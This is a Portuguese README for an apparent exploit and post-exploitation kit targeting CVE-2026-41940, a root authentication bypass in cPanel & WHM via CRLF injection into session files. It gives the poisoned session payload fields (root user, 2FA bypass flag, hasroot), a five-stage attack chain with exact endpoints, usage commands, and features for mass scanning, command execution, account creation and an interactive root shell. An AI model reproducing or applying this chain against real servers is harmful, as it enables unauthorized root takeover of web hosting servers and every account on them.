
Scanner automatizado e kit de pós-exploração para CVE-2026-41940 — bypass de autenticação root do cPanel & WHM via injeção CRLF em arquivo de sessão
English | فارسی (Persian)
██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
██║ ██████╔╝███████║██╔██╗ ██║█████╗ ██║
██║ ██╔═══╝ ██╔══██║██║╚██╗██║██╔══╝ ██║
╚██████╗██║ ██║ ██║██║ ╚████║███████╗███████╗
╚═════╝╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝╚══════╝
██████╗██╗ ██╗███████╗
██╔════╝██║ ██║██╔════╝
██║ ██║ ██║█████╗
██║ ╚██╗ ██╔╝██╔══╝
╚██████╗ ╚████╔╝ ███████╗
╚═════╝ ╚═══╝ ╚══════╝
███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗
██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝
█████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║
██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║
███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║
╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝
Scanner automatizado e kit de pós-exploração para CVE-2026-41940 — bypass de autenticação root do cPanel & WHM via injeção de CRLF no arquivo de sessão.
CPANEL CVE EXPLOIT é uma ferramenta Python de arquivo único projetada para avaliações de segurança autorizadas de servidores cPanel & WHM vulneráveis ao CVE-2026-41940.
A vulnerabilidade permite que um atacante remoto não autenticado envenene arquivos de sessão do WHM por meio de injeção de CRLF no cabeçalho Authorization: Basic, contornando a autenticação e obtendo acesso WHM em nível de root sem credenciais válidas.
| Propriedade | Valor |
|---|---|
| CVE | CVE-2026-41940 |
| Gravidade | Crítica |
| CVSS | 10.0 |
| Vetor de Ataque | Rede / Não autenticado |
| Impacto | Acesso root total ao WHM |
| Porta Padrão | 2087 (WHM) |
| Status | Exploração ativa confirmada (abr 2026) |
Em versões vulneráveis do cPanel & WHM, saveSession() em Session.pm chama filter_sessiondata() após gravar o arquivo de sessão em disco. Um atacante pode injetar caracteres CRLF (\r\n) por meio do cabeçalho HTTP Authorization: Basic, que são gravados diretamente no arquivo de sessão em disco — contornando a sanitização.
A ferramenta usa um payload codificado em Base64 que é decodificado para:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
Esses campos simulam uma sessão WHM root totalmente autenticada, incluindo bypass de 2FA (tfa_verified=1) e o sinalizador de privilégio root (hasroot=1).
A cPanel moveu filter_sessiondata() para ser executado antes da operação de gravação da sessão em Session.pm.
A cadeia de exploração consiste em 5 estágios (Estágio 0–4):
flowchart TD
A[Stage 0: Canonical Host Discovery] --> B[Stage 1: Mint Preauth Session]
B --> C[Stage 2: CRLF Injection via Authorization Header]
C --> D[Stage 3: Session Propagation via do_token_denied]
D --> E[Stage 4: Verify Root Access via json-api/version]
E --> F{Vulnerable?}
F -->|Yes| G[Post-Exploit Actions / Interactive Shell]
F -->|No| H[Skip Target]
A -.- A1["GET /openid_connect/cpanelid → 307 redirect reveals real hostname"]
B -.- B1["POST /login/?login_only=1 → whostmgrsession cookie"]
C -.- C1["GET / + poisoned Basic auth → /cpsessXXXXXXXXXX token"]
D -.- D1["GET /scripts2/listaccts → flush raw session to cache"]
E -.- E1["GET /cpsessXXX/json-api/version → HTTP 200 + version JSON"]
| Estágio | Endpoint | Propósito |
|---|---|---|
| 0 | /openid_connect/cpanelid | Descobrir automaticamente o hostname canônico via redirecionamento 307 |
| 1 | /login/?login_only=1 | Obter cookie whostmgrsession de pré-autenticação com credenciais incorretas |
| 2 | / | Injetar cabeçalho Authorization: Basic envenenado com CRLF no arquivo de sessão |
| 3 | /scripts2/listaccts | Acionar o gadget do_token_denied para despejar a sessão no cache |
| 4 | /{token}/json-api/version | Confirmar acesso root — HTTP 200 com JSON de versão |
| Recurso | Descrição |
|---|---|
| Varredura de alvo único | Cadeia de exploração completa contra uma URL WHM |
| Varredura em massa | Varredura multithread a partir de arquivo ou stdin |
| Detecção de versão | Comparação automática de versão corrigida/vulnerável |
| API de pós-exploração | Alteração de senha, execução de comandos, listagem de contas, criação de usuários |
| Shell interativo | Shell root WHM integrado com leitura de arquivos e comandos de API |
| Login via Selenium | Injeção automática do cookie de sessão no Chrome/Firefox |
| Fallback manual no navegador | Trechos de JavaScript para console para login manual no WHM |
| Verificação de RCE | Verificação rápida de id / uname -a após o bypass |
| Exportação JSON | Salvar todas as descobertas em relatório JSON estruturado |
| Pronto para pipelines | Funciona com pipelines de httpx, subfinder, shodan e awk |
| Apenas stdlib | Nenhuma dependência pip necessária para a funcionalidade principal |
| Saída colorida | Registro de estágios em tempo real com indicadores de gravidade |
| Branch | Corrigido em | Status |
|---|---|---|
| 11.110.x | 11.110.0.97 | Vulnerável abaixo do patch |
| 11.118.x | 11.118.0.63 | Vulnerável abaixo do patch |
| 11.126.x | 11.126.0.54 | Vulnerável abaixo do patch |
| 11.132.x | 11.132.0.29 | Vulnerável abaixo do patch |
| 11.134.x | 11.134.0.20 | Vulnerável abaixo do patch |
| 11.136.x | 11.136.0.5 | Vulnerável abaixo do patch |
Nota: Alvos que executam builds corrigidos são automaticamente sinalizados e ignorados durante a varredura.
| Pacote | Propósito |
|---|---|
selenium | Login automático no navegador (--selenium) |
| Chrome / Firefox | Motor de navegador para Selenium |
pip install -r requirements.txt # optional — selenium only
git clone https://github.com/YOUR_USERNAME/cpanel-cve-exploit.git
cd cpanel-cve-exploit
Nenhuma etapa de build necessária. Execute diretamente:
python3 test-cve.py --help
# Scan a single WHM target
python3 test-cve.py -u https://target.com:2087
# Scan with post-exploit: list all cPanel accounts
python3 test-cve.py -u https://target.com:2087 --action list